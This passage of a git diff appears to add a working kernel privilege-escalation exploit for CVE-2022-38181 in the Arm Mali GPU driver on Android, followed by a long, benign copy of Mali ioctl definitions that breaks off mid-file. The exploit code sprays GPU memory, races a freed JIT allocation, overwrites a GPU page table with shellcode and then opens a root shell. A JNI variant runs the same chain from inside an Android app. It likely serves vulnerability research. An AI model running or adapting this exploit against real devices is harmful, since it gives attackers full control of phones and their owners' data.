+void spray(int mali_fd) {
+    uint64_t cookies[32] = {0};
+    for (int j = 0; j < 32; j++) {
+        union kbase_ioctl_mem_alloc alloc = {0};
+        alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (1 << 22);
+        alloc.in.va_pages = SPRAY_PAGES;
+        alloc.in.commit_pages = 0;
+        mem_alloc(mali_fd, &alloc);
+        cookies[j] = alloc.out.gpu_va;
+    }
+    for (int j = 0; j < 32; j++) {
+        void* region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookies[j]);
+        if (region == MAP_FAILED) {
+            err(1, "mmap failed");
+        }
+        gpu_va[j] = (uint64_t)region;
+    }
+    for (int j = 32; j < 64; j++) {
+        union kbase_ioctl_mem_alloc alloc = {0};
+        alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (1 << 22);
+        alloc.in.va_pages = SPRAY_PAGES;
+        alloc.in.commit_pages = 0;
+        mem_alloc(mali_fd, &alloc);
+        cookies[j - 32] = alloc.out.gpu_va;
+    }
+    for (int j = 32; j < 64; j++) {
+        void* region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookies[j - 32]);
+        if (region == MAP_FAILED) {
+            err(1, "mmap failed");
+        }
+        gpu_va[j] = (uint64_t)region;
+    }
+}
+
+int trigger(int mali_fd, int mali_fd2, int* flush_idx) {
+    if (*flush_idx + NUM_TRIALS > FLUSH_REGION_SIZE) {
+        err(1, "Out of memory.");
+    }
+    void* gpu_alloc_addr = map_gpu(mali_fd, 1, 1, false, 0);
+
+    uint64_t jit_pages = SPRAY_PAGES;
+    uint64_t jit_addr = jit_allocate(mali_fd, atom_number, jit_id, jit_pages, (uint64_t)gpu_alloc_addr);
+    atom_number++;
+    mem_flags_change(mali_fd, (uint64_t)jit_addr, BASE_MEM_DONT_NEED, 0);
+    for (int i = 0; i < NUM_TRIALS; i++) {
+        union kbase_ioctl_mem_query query = {0};
+        query.in.gpu_addr = jit_addr;
+        query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE;
+        flush_regions[i] = flush(SPRAY_CPU, i + *flush_idx);
+        if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) {
+            migrate_to_cpu(SPRAY_CPU);
+            spray(mali_fd);
+            for (int j = 0; j < SPRAY_NUM; j++) {
+                mem_commit(mali_fd, gpu_va[j], SPRAY_PAGES);
+            }
+            LOG("region freed %d\n", i);
+
+            uint64_t alias_region = alias_sprayed_regions(mali_fd);
+            fault_pages();
+            LOG("cleanup flush region\n");
+            for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE);
+
+            uint64_t drain = drain_mem_pool(mali_fd);
+            release_mem_pool(mali_fd, drain);
+
+            jit_free(mali_fd, atom_number, jit_id);
+
+            map_reserved(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+            LOG("jit_freed\n");
+            int freed_idx = find_freed_idx(mali_fd);
+            if (freed_idx == -1) err(1, "Failed to find freed_idx");
+            LOG("Found freed_idx %d\n", freed_idx);
+            int pgd_idx = find_pgd(freed_idx, 0);
+            if (pgd_idx == -1) err(1, "Failed to find pgd");
+            uint64_t pgd = alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000);
+            LOG("Found pgd %d, %lx\n", pgd_idx, pgd);
+            atom_number++;
+            write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0]));
+            run_enforce();
+            cleanup(mali_fd, pgd);
+            return 0;
+        }
+    }
+    LOG("failed, retry.\n");
+    jit_id++;
+    *flush_idx += NUM_TRIALS;
+    return -1;
+}
+
+#ifdef SHELL
+
+int main() {
+  setbuf(stdout, NULL);
+  setbuf(stderr, NULL);
+
+  select_offset();
+  int mali_fd = open_dev(MALI);
+
+  setup_mali(mali_fd, 0);
+
+  void* tracking_page = setup_tracking_page(mali_fd);
+  jit_init(mali_fd, 0x1000, 100, 0);
+
+  int mali_fd2 = open_dev(MALI);
+  setup_mali(mali_fd2, 1);
+  setup_tracking_page(mali_fd2);
+  reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+  int flush_idx = 0;
+  for (int i = 0; i < 10; i++) {
+    if(!trigger(mali_fd, mali_fd2, &flush_idx)) {
+      system("sh");
+      break;
+    }
+  }
+}
+#else
+#include <jni.h>
+JNIEXPORT int JNICALL
+Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thiz)
+{
+    setbuf(stdout, NULL);
+    setbuf(stderr, NULL);
+    sleep(10);
+
+    select_offset();
+    int mali_fd = open_dev(MALI);
+
+    setup_mali(mali_fd, 0);
+
+    void* tracking_page = setup_tracking_page(mali_fd);
+    jit_init(mali_fd, 0x1000, 100, 0);
+
+    int mali_fd2 = open_dev(MALI);
+    setup_mali(mali_fd2, 1);
+    setup_tracking_page(mali_fd2);
+    reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+    int flush_idx = 0;
+    for (int i = 0; i < 10; i++) {
+        if(!trigger(mali_fd, mali_fd2, &flush_idx)) {
+            LOG("uid: %d euid %d", getuid(), geteuid());
+            return 0;
+        }
+    }
+    return -1;
+}
+#endif
diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/mali.h b/SecurityExploits/Android/Mali/CVE_2022_38181/mali.h
new file mode 100644
index 0000000..3b61e20
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_38181/mali.h
@@ -0,0 +1,1060 @@
+/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
+/*
+ *
+ * (C) COPYRIGHT 2020-2021 ARM Limited. All rights reserved.
+ *
+ * This program is free software and is provided to you under the terms of the
+ * GNU General Public License version 2 as published by the Free Software
+ * Foundation, and any use by you of this program is subject to the terms
+ * of such GNU license.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, you can access it online at
+ * http://www.gnu.org/licenses/gpl-2.0.html.
+ *
+ */
+
+#ifndef _UAPI_KBASE_JM_IOCTL_H_
+#define _UAPI_KBASE_JM_IOCTL_H_
+
+#include <sys/ioctl.h>
+#include <linux/types.h>
+
+/*
+ * 11.1:
+ * - Add BASE_MEM_TILER_ALIGN_TOP under base_mem_alloc_flags
+ * 11.2:
+ * - KBASE_MEM_QUERY_FLAGS can return KBASE_REG_PF_GROW and KBASE_REG_PROTECTED,
+ *   which some user-side clients prior to 11.2 might fault if they received
+ *   them
+ * 11.3:
+ * - New ioctls KBASE_IOCTL_STICKY_RESOURCE_MAP and
+ *   KBASE_IOCTL_STICKY_RESOURCE_UNMAP
+ * 11.4:
+ * - New ioctl KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET
+ * 11.5:
+ * - New ioctl: KBASE_IOCTL_MEM_JIT_INIT (old ioctl renamed to _OLD)
+ * 11.6:
+ * - Added flags field to base_jit_alloc_info structure, which can be used to
+ *   specify pseudo chunked tiler alignment for JIT allocations.
+ * 11.7:
+ * - Removed UMP support
+ * 11.8:
+ * - Added BASE_MEM_UNCACHED_GPU under base_mem_alloc_flags
+ * 11.9:
+ * - Added BASE_MEM_PERMANENT_KERNEL_MAPPING and BASE_MEM_FLAGS_KERNEL_ONLY
+ *   under base_mem_alloc_flags
+ * 11.10:
+ * - Enabled the use of nr_extres field of base_jd_atom_v2 structure for
+ *   JIT_ALLOC and JIT_FREE type softjobs to enable multiple JIT allocations
+ *   with one softjob.
+ * 11.11:
+ * - Added BASE_MEM_GPU_VA_SAME_4GB_PAGE under base_mem_alloc_flags
+ * 11.12:
+ * - Removed ioctl: KBASE_IOCTL_GET_PROFILING_CONTROLS
+ * 11.13:
+ * - New ioctl: KBASE_IOCTL_MEM_EXEC_INIT
+ * 11.14:
+ * - Add BASE_MEM_GROUP_ID_MASK, base_mem_group_id_get, base_mem_group_id_set
+ *   under base_mem_alloc_flags
+ * 11.15:
+ * - Added BASEP_CONTEXT_MMU_GROUP_ID_MASK under base_context_create_flags.
+ * - Require KBASE_IOCTL_SET_FLAGS before BASE_MEM_MAP_TRACKING_HANDLE can be
+ *   passed to mmap().
+ * 11.16:
+ * - Extended ioctl KBASE_IOCTL_MEM_SYNC to accept imported dma-buf.
+ * - Modified (backwards compatible) ioctl KBASE_IOCTL_MEM_IMPORT behavior for
+ *   dma-buf. Now, buffers are mapped on GPU when first imported, no longer
+ *   requiring external resource or sticky resource tracking. UNLESS,
+ *   CONFIG_MALI_DMA_BUF_MAP_ON_DEMAND is enabled.
+ * 11.17:
+ * - Added BASE_JD_REQ_JOB_SLOT.
+ * - Reused padding field in base_jd_atom_v2 to pass job slot number.
+ * - New ioctl: KBASE_IOCTL_GET_CPU_GPU_TIMEINFO
+ * 11.18:
+ * - Added BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP under base_mem_alloc_flags
+ * 11.19:
+ * - Extended base_jd_atom_v2 to allow a renderpass ID to be specified.
+ * 11.20:
+ * - Added new phys_pages member to kbase_ioctl_mem_jit_init for
+ *   KBASE_IOCTL_MEM_JIT_INIT, previous variants of this renamed to use _10_2
+ *   (replacing '_OLD') and _11_5 suffixes
+ * - Replaced compat_core_req (deprecated in 10.3) with jit_id[2] in
+ *   base_jd_atom_v2. It must currently be initialized to zero.
+ * - Added heap_info_gpu_addr to base_jit_alloc_info, and
+ *   BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE allowable in base_jit_alloc_info's
+ *   flags member. Previous variants of this structure are kept and given _10_2
+ *   and _11_5 suffixes.
+ * - The above changes are checked for safe values in usual builds
+ * 11.21:
+ * - v2.0 of mali_trace debugfs file, which now versions the file separately
+ * 11.22:
+ * - Added base_jd_atom (v3), which is seq_nr + base_jd_atom_v2.
+ *   KBASE_IOCTL_JOB_SUBMIT supports both in parallel.
+ * 11.23:
+ * - Modified KBASE_IOCTL_MEM_COMMIT behavior to reject requests to modify
+ *   the physical memory backing of JIT allocations. This was not supposed
+ *   to be a valid use case, but it was allowed by the previous implementation.
+ * 11.24:
+ * - Added a sysfs file 'serialize_jobs' inside a new sub-directory
+ *   'scheduling'.
+ * 11.25:
+ * - Enabled JIT pressure limit in base/kbase by default
+ * 11.26
+ * - Added kinstr_jm API
+ * 11.27
+ * - Backwards compatible extension to HWC ioctl.
+ * 11.28:
+ * - Added kernel side cache ops needed hint
+ * 11.29:
+ * - Reserve ioctl 52
+ * 11.30:
+ * - Add a new priority level BASE_JD_PRIO_REALTIME
+ * - Add ioctl 54: This controls the priority setting.
+ * 11.31:
+ * - Added BASE_JD_REQ_LIMITED_CORE_MASK.
+ * - Added ioctl 55: set_limited_core_count.
+ */
+#define BASE_UK_VERSION_MAJOR 11
+#define BASE_UK_VERSION_MINOR 31
+
+/**
+ * struct kbase_ioctl_version_check - Check version compatibility between
+ * kernel and userspace
+ *
+ * @major: Major version number
+ * @minor: Minor version number
+ */
+struct kbase_ioctl_version_check {
+	__u16 major;
+	__u16 minor;
+};
+
+#define KBASE_IOCTL_VERSION_CHECK \
+	_IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check)
+
+
+/**
+ * struct kbase_ioctl_job_submit - Submit jobs/atoms to the kernel
+ *
+ * @addr: Memory address of an array of struct base_jd_atom_v2 or v3
+ * @nr_atoms: Number of entries in the array
+ * @stride: sizeof(struct base_jd_atom_v2) or sizeof(struct base_jd_atom)
+ */
+struct kbase_ioctl_job_submit {
+	__u64 addr;
+	__u32 nr_atoms;
+	__u32 stride;
+};
+
+#define KBASE_IOCTL_JOB_SUBMIT \
+	_IOW(KBASE_IOCTL_TYPE, 2, struct kbase_ioctl_job_submit)
+
+#define KBASE_IOCTL_POST_TERM \
+	_IO(KBASE_IOCTL_TYPE, 4)
+
+/**
+ * struct kbase_ioctl_soft_event_update - Update the status of a soft-event
+ * @event: GPU address of the event which has been updated
+ * @new_status: The new status to set
+ * @flags: Flags for future expansion
+ */
+struct kbase_ioctl_soft_event_update {
+	__u64 event;
+	__u32 new_status;
+	__u32 flags;
+};
+
+#define KBASE_IOCTL_SOFT_EVENT_UPDATE \
+	_IOW(KBASE_IOCTL_TYPE, 28, struct kbase_ioctl_soft_event_update)
+
+/**
+ * struct kbase_kinstr_jm_fd_out - Explains the compatibility information for
+ * the `struct kbase_kinstr_jm_atom_state_change` structure returned from the
+ * kernel
+ *
+ * @size:    The size of the `struct kbase_kinstr_jm_atom_state_change`
+ * @version: Represents a breaking change in the
+ *           `struct kbase_kinstr_jm_atom_state_change`
+ * @padding: Explicit padding to get the structure up to 64bits. See
+ * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst
+ *
+ * The `struct kbase_kinstr_jm_atom_state_change` may have extra members at the
+ * end of the structure that older user space might not understand. If the
+ * `version` is the same, the structure is still compatible with newer kernels.
+ * The `size` can be used to cast the opaque memory returned from the kernel.
+ */
+struct kbase_kinstr_jm_fd_out {
+	__u16 size;
+	__u8 version;
+	__u8 padding[5];
+};
+
+/**
+ * struct kbase_kinstr_jm_fd_in - Options when creating the file descriptor
+ *
+ * @count: Number of atom states that can be stored in the kernel circular
+ *         buffer. Must be a power of two
+ * @padding: Explicit padding to get the structure up to 64bits. See
+ * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst
+ */
+struct kbase_kinstr_jm_fd_in {
+	__u16 count;
+	__u8 padding[6];
+};
+
+union kbase_kinstr_jm_fd {
+	struct kbase_kinstr_jm_fd_in in;
+	struct kbase_kinstr_jm_fd_out out;
+};
+
+#define KBASE_IOCTL_KINSTR_JM_FD \
+	_IOWR(KBASE_IOCTL_TYPE, 51, union kbase_kinstr_jm_fd)
+
+
+#define KBASE_IOCTL_VERSION_CHECK_RESERVED \
+	_IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check)
+
+#define KBASE_IOCTL_TYPE 0x80
+
+/**
+ * struct kbase_ioctl_set_flags - Set kernel context creation flags
+ *
+ * @create_flags: Flags - see base_context_create_flags
+ */
+struct kbase_ioctl_set_flags {
+	__u32 create_flags;
+};
+
+#define KBASE_IOCTL_SET_FLAGS \
+	_IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags)
+
+/**
+ * struct kbase_ioctl_get_gpuprops - Read GPU properties from the kernel
+ *
+ * @buffer: Pointer to the buffer to store properties into
+ * @size: Size of the buffer
+ * @flags: Flags - must be zero for now
+ *
+ * The ioctl will return the number of bytes stored into @buffer or an error
+ * on failure (e.g. @size is too small). If @size is specified as 0 then no
+ * data will be written but the return value will be the number of bytes needed
+ * for all the properties.
+ *
+ * @flags may be used in the future to request a different format for the
+ * buffer. With @flags == 0 the following format is used.
+ *
+ * The buffer will be filled with pairs of values, a __u32 key identifying the
+ * property followed by the value. The size of the value is identified using
+ * the bottom bits of the key. The value then immediately followed the key and
+ * is tightly packed (there is no padding). All keys and values are
+ * little-endian.
+ *
+ * 00 = __u8
+ * 01 = __u16
+ * 10 = __u32
+ * 11 = __u64
+ */
+struct kbase_ioctl_get_gpuprops {
+	__u64 buffer;
+	__u32 size;
+	__u32 flags;
+};
+
+#define KBASE_IOCTL_GET_GPUPROPS \
+	_IOW(KBASE_IOCTL_TYPE, 3, struct kbase_ioctl_get_gpuprops)
+
+/**
+ * union kbase_ioctl_mem_alloc - Allocate memory on the GPU
+ * @in: Input parameters
+ * @in.va_pages: The number of pages of virtual address space to reserve
+ * @in.commit_pages: The number of physical pages to allocate
+ * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region
+ * @in.flags: Flags
+ * @out: Output parameters
+ * @out.flags: Flags
+ * @out.gpu_va: The GPU virtual address which is allocated
+ */
+union kbase_ioctl_mem_alloc {
+	struct {
+		__u64 va_pages;
+		__u64 commit_pages;
+		__u64 extension;
+		__u64 flags;
+	} in;
+	struct {
+		__u64 flags;
+		__u64 gpu_va;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_ALLOC \
+	_IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc)
+
+/**
+ * struct kbase_ioctl_mem_query - Query properties of a GPU memory region
+ * @in: Input parameters
+ * @in.gpu_addr: A GPU address contained within the region
+ * @in.query: The type of query
+ * @out: Output parameters
+ * @out.value: The result of the query
+ *
+ * Use a %KBASE_MEM_QUERY_xxx flag as input for @query.
+ */
+union kbase_ioctl_mem_query {
+	struct {
+		__u64 gpu_addr;
+		__u64 query;
+	} in;
+	struct {
+		__u64 value;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_QUERY \
+	_IOWR(KBASE_IOCTL_TYPE, 6, union kbase_ioctl_mem_query)
+
+#define KBASE_MEM_QUERY_COMMIT_SIZE	((__u64)1)
+#define KBASE_MEM_QUERY_VA_SIZE		((__u64)2)
+#define KBASE_MEM_QUERY_FLAGS		((__u64)3)
+
+/**
+ * struct kbase_ioctl_mem_free - Free a memory region
+ * @gpu_addr: Handle to the region to free
+ */
+struct kbase_ioctl_mem_free {
+	__u64 gpu_addr;
+};
+
+#define KBASE_IOCTL_MEM_FREE \
+	_IOW(KBASE_IOCTL_TYPE, 7, struct kbase_ioctl_mem_free)
+
+/**
+ * struct kbase_ioctl_hwcnt_reader_setup - Setup HWC dumper/reader
+ * @buffer_count: requested number of dumping buffers
+ * @fe_bm:        counters selection bitmask (Front end)
+ * @shader_bm:    counters selection bitmask (Shader)
+ * @tiler_bm:     counters selection bitmask (Tiler)
+ * @mmu_l2_bm:    counters selection bitmask (MMU_L2)
+ *
+ * A fd is returned from the ioctl if successful, or a negative value on error
+ */
+struct kbase_ioctl_hwcnt_reader_setup {
+	__u32 buffer_count;
+	__u32 fe_bm;
+	__u32 shader_bm;
+	__u32 tiler_bm;
+	__u32 mmu_l2_bm;
+};
+
+#define KBASE_IOCTL_HWCNT_READER_SETUP \
+	_IOW(KBASE_IOCTL_TYPE, 8, struct kbase_ioctl_hwcnt_reader_setup)
+
+/**
+ * struct kbase_ioctl_hwcnt_enable - Enable hardware counter collection
+ * @dump_buffer:  GPU address to write counters to
+ * @fe_bm:        counters selection bitmask (Front end)
+ * @shader_bm:    counters selection bitmask (Shader)
+ * @tiler_bm:     counters selection bitmask (Tiler)
+ * @mmu_l2_bm:    counters selection bitmask (MMU_L2)
+ */
+struct kbase_ioctl_hwcnt_enable {
+	__u64 dump_buffer;
+	__u32 fe_bm;
+	__u32 shader_bm;
+	__u32 tiler_bm;
+	__u32 mmu_l2_bm;
+};
+
+#define KBASE_IOCTL_HWCNT_ENABLE \
+	_IOW(KBASE_IOCTL_TYPE, 9, struct kbase_ioctl_hwcnt_enable)
+
+#define KBASE_IOCTL_HWCNT_DUMP \
+	_IO(KBASE_IOCTL_TYPE, 10)
+
+#define KBASE_IOCTL_HWCNT_CLEAR \
+	_IO(KBASE_IOCTL_TYPE, 11)
+
+/**
+ * struct kbase_ioctl_hwcnt_values - Values to set dummy the dummy counters to.
+ * @data:    Counter samples for the dummy model.
+ * @size:    Size of the counter sample data.
+ * @padding: Padding.
+ */
+struct kbase_ioctl_hwcnt_values {
+	__u64 data;
+	__u32 size;
+	__u32 padding;
+};
+
+#define KBASE_IOCTL_HWCNT_SET \
+	_IOW(KBASE_IOCTL_TYPE, 32, struct kbase_ioctl_hwcnt_values)
+
+/**
+ * struct kbase_ioctl_disjoint_query - Query the disjoint counter
+ * @counter:   A counter of disjoint events in the kernel
+ */
+struct kbase_ioctl_disjoint_query {
+	__u32 counter;
+};
+
+#define KBASE_IOCTL_DISJOINT_QUERY \
+	_IOR(KBASE_IOCTL_TYPE, 12, struct kbase_ioctl_disjoint_query)
+
+/**
+ * struct kbase_ioctl_get_ddk_version - Query the kernel version
+ * @version_buffer: Buffer to receive the kernel version string
+ * @size: Size of the buffer
+ * @padding: Padding
+ *
+ * The ioctl will return the number of bytes written into version_buffer
+ * (which includes a NULL byte) or a negative error code
+ *
+ * The ioctl request code has to be _IOW because the data in ioctl struct is
+ * being copied to the kernel, even though the kernel then writes out the
+ * version info to the buffer specified in the ioctl.
+ */
+struct kbase_ioctl_get_ddk_version {
+	__u64 version_buffer;
+	__u32 size;
+	__u32 padding;
+};
+
+#define KBASE_IOCTL_GET_DDK_VERSION \
+	_IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version)
+
+/**
+ * struct kbase_ioctl_mem_jit_init_10_2 - Initialize the just-in-time memory
+ *                                        allocator (between kernel driver
+ *                                        version 10.2--11.4)
+ * @va_pages: Number of VA pages to reserve for JIT
+ *
+ * Note that depending on the VA size of the application and GPU, the value
+ * specified in @va_pages may be ignored.
+ *
+ * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for
+ * backwards compatibility.
+ */
+struct kbase_ioctl_mem_jit_init_10_2 {
+	__u64 va_pages;
+};
+
+#define KBASE_IOCTL_MEM_JIT_INIT_10_2 \
+	_IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_10_2)
+
+/**
+ * struct kbase_ioctl_mem_jit_init_11_5 - Initialize the just-in-time memory
+ *                                        allocator (between kernel driver
+ *                                        version 11.5--11.19)
+ * @va_pages: Number of VA pages to reserve for JIT
+ * @max_allocations: Maximum number of concurrent allocations
+ * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%)
+ * @group_id: Group ID to be used for physical allocations
+ * @padding: Currently unused, must be zero
+ *
+ * Note that depending on the VA size of the application and GPU, the value
+ * specified in @va_pages may be ignored.
+ *
+ * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for
+ * backwards compatibility.
+ */
+struct kbase_ioctl_mem_jit_init_11_5 {
+	__u64 va_pages;
+	__u8 max_allocations;
+	__u8 trim_level;
+	__u8 group_id;
+	__u8 padding[5];
+};
+
+#define KBASE_IOCTL_MEM_JIT_INIT_11_5 \
+	_IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_11_5)
+
+/**
+ * struct kbase_ioctl_mem_jit_init - Initialize the just-in-time memory
+ *                                   allocator
+ * @va_pages: Number of GPU virtual address pages to reserve for just-in-time
+ *            memory allocations
+ * @max_allocations: Maximum number of concurrent allocations
+ * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%)
+ * @group_id: Group ID to be used for physical allocations
+ * @padding: Currently unused, must be zero
+ * @phys_pages: Maximum number of physical pages to allocate just-in-time
+ *
+ * Note that depending on the VA size of the application and GPU, the value
+ * specified in @va_pages may be ignored.
+ */
+struct kbase_ioctl_mem_jit_init {
+	__u64 va_pages;
+	__u8 max_allocations;
+	__u8 trim_level;
+	__u8 group_id;
+	__u8 padding[5];
+	__u64 phys_pages;
+};
+
+#define KBASE_IOCTL_MEM_JIT_INIT \
+	_IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init)
+
+/**
+ * struct kbase_ioctl_mem_sync - Perform cache maintenance on memory
+ *
+ * @handle: GPU memory handle (GPU VA)
+ * @user_addr: The address where it is mapped in user space
+ * @size: The number of bytes to synchronise
+ * @type: The direction to synchronise: 0 is sync to memory (clean),
+ * 1 is sync from memory (invalidate). Use the BASE_SYNCSET_OP_xxx constants.
+ * @padding: Padding to round up to a multiple of 8 bytes, must be zero
+ */
+struct kbase_ioctl_mem_sync {
+	__u64 handle;
+	__u64 user_addr;
+	__u64 size;
+	__u8 type;
+	__u8 padding[7];
+};
+
+#define KBASE_IOCTL_MEM_SYNC \
+	_IOW(KBASE_IOCTL_TYPE, 15, struct kbase_ioctl_mem_sync)
+
+/**
+ * union kbase_ioctl_mem_find_cpu_offset - Find the offset of a CPU pointer
+ *
+ * @in: Input parameters
+ * @in.gpu_addr: The GPU address of the memory region
+ * @in.cpu_addr: The CPU address to locate
+ * @in.size: A size in bytes to validate is contained within the region
+ * @out: Output parameters
+ * @out.offset: The offset from the start of the memory region to @cpu_addr
+ */
+union kbase_ioctl_mem_find_cpu_offset {
+	struct {
+		__u64 gpu_addr;
+		__u64 cpu_addr;
+		__u64 size;
+	} in;
+	struct {
+		__u64 offset;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_FIND_CPU_OFFSET \
+	_IOWR(KBASE_IOCTL_TYPE, 16, union kbase_ioctl_mem_find_cpu_offset)
+
+/**
+ * struct kbase_ioctl_get_context_id - Get the kernel context ID
+ *
+ * @id: The kernel context ID
+ */
+struct kbase_ioctl_get_context_id {
+	__u32 id;
+};
+
+#define KBASE_IOCTL_GET_CONTEXT_ID \
+	_IOR(KBASE_IOCTL_TYPE, 17, struct kbase_ioctl_get_context_id)
+
+/**
+ * struct kbase_ioctl_tlstream_acquire - Acquire a tlstream fd
+ *
+ * @flags: Flags
+ *
+ * The ioctl returns a file descriptor when successful
+ */
+struct kbase_ioctl_tlstream_acquire {
+	__u32 flags;
+};
+
+#define KBASE_IOCTL_TLSTREAM_ACQUIRE \
+	_IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire)
+
+#define KBASE_IOCTL_TLSTREAM_FLUSH \
+	_IO(KBASE_IOCTL_TYPE, 19)
+
+/**
+ * struct kbase_ioctl_mem_commit - Change the amount of memory backing a region
+ *
+ * @gpu_addr: The memory region to modify
+ * @pages:    The number of physical pages that should be present
+ *
+ * The ioctl may return on the following error codes or 0 for success:
+ *   -ENOMEM: Out of memory
+ *   -EINVAL: Invalid arguments
+ */
+struct kbase_ioctl_mem_commit {
+	__u64 gpu_addr;
+	__u64 pages;
+};
+
+#define KBASE_IOCTL_MEM_COMMIT \
+	_IOW(KBASE_IOCTL_TYPE, 20, struct kbase_ioctl_mem_commit)
+
+/**
+ * union kbase_ioctl_mem_alias - Create an alias of memory regions
+ * @in: Input parameters
+ * @in.flags: Flags, see BASE_MEM_xxx
+ * @in.stride: Bytes between start of each memory region
+ * @in.nents: The number of regions to pack together into the alias
+ * @in.aliasing_info: Pointer to an array of struct base_mem_aliasing_info
+ * @out: Output parameters
+ * @out.flags: Flags, see BASE_MEM_xxx
+ * @out.gpu_va: Address of the new alias
+ * @out.va_pages: Size of the new alias
+ */
+union kbase_ioctl_mem_alias {
+	struct {
+		__u64 flags;
+		__u64 stride;
+		__u64 nents;
+		__u64 aliasing_info;
+	} in;
+	struct {
+		__u64 flags;
+		__u64 gpu_va;
+		__u64 va_pages;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_ALIAS \
+	_IOWR(KBASE_IOCTL_TYPE, 21, union kbase_ioctl_mem_alias)
+
+enum base_mem_import_type {
+	BASE_MEM_IMPORT_TYPE_INVALID = 0,
+	/*
+	 * Import type with value 1 is deprecated.
+	 */
+	BASE_MEM_IMPORT_TYPE_UMM = 2,
+	BASE_MEM_IMPORT_TYPE_USER_BUFFER = 3
+};
+
+/**
+ * struct base_mem_import_user_buffer - Handle of an imported user buffer
+ *
+ * @ptr:	address of imported user buffer
+ * @length:	length of imported user buffer in bytes
+ *
+ * This structure is used to represent a handle of an imported user buffer.
+ */
+
+struct base_mem_import_user_buffer {
+	__u64 ptr;
+	__u64 length;
+};
+
+/**
+ * union kbase_ioctl_mem_import - Import memory for use by the GPU
+ * @in: Input parameters
+ * @in.flags: Flags, see BASE_MEM_xxx
+ * @in.phandle: Handle to the external memory
+ * @in.type: Type of external memory, see base_mem_import_type
+ * @in.padding: Amount of extra VA pages to append to the imported buffer
+ * @out: Output parameters
+ * @out.flags: Flags, see BASE_MEM_xxx
+ * @out.gpu_va: Address of the new alias
+ * @out.va_pages: Size of the new alias
+ */
+union kbase_ioctl_mem_import {
+	struct {
+		__u64 flags;
+		__u64 phandle;
+		__u32 type;
+		__u32 padding;
+	} in;
+	struct {
+		__u64 flags;
+		__u64 gpu_va;
+		__u64 va_pages;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_IMPORT \
+	_IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import)
+
+/**
+ * struct kbase_ioctl_mem_flags_change - Change the flags for a memory region
+ * @gpu_va: The GPU region to modify
+ * @flags: The new flags to set
+ * @mask: Mask of the flags to modify
+ */
+struct kbase_ioctl_mem_flags_change {
+	__u64 gpu_va;
+	__u64 flags;
+	__u64 mask;
+};
+
+#define KBASE_IOCTL_MEM_FLAGS_CHANGE \
+	_IOW(KBASE_IOCTL_TYPE, 23, struct kbase_ioctl_mem_flags_change)
+
+/**
+ * struct kbase_ioctl_stream_create - Create a synchronisation stream
+ * @name: A name to identify this stream. Must be NULL-terminated.
+ *
+ * Note that this is also called a "timeline", but is named stream to avoid
+ * confusion with other uses of the word.
+ *
+ * Unused bytes in @name (after the first NULL byte) must be also be NULL bytes.
+ *
+ * The ioctl returns a file descriptor.
+ */
+struct kbase_ioctl_stream_create {
+	char name[32];
+};
+
+#define KBASE_IOCTL_STREAM_CREATE \
+	_IOW(KBASE_IOCTL_TYPE, 24, struct kbase_ioctl_stream_create)
+
+/**
+ * struct kbase_ioctl_fence_validate - Validate a fd refers to a fence
+ * @fd: The file descriptor to validate
+ */
+struct kbase_ioctl_fence_validate {
+	int fd;
+};
+
+#define KBASE_IOCTL_FENCE_VALIDATE \
+	_IOW(KBASE_IOCTL_TYPE, 25, struct kbase_ioctl_fence_validate)
+
+/**
+ * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel
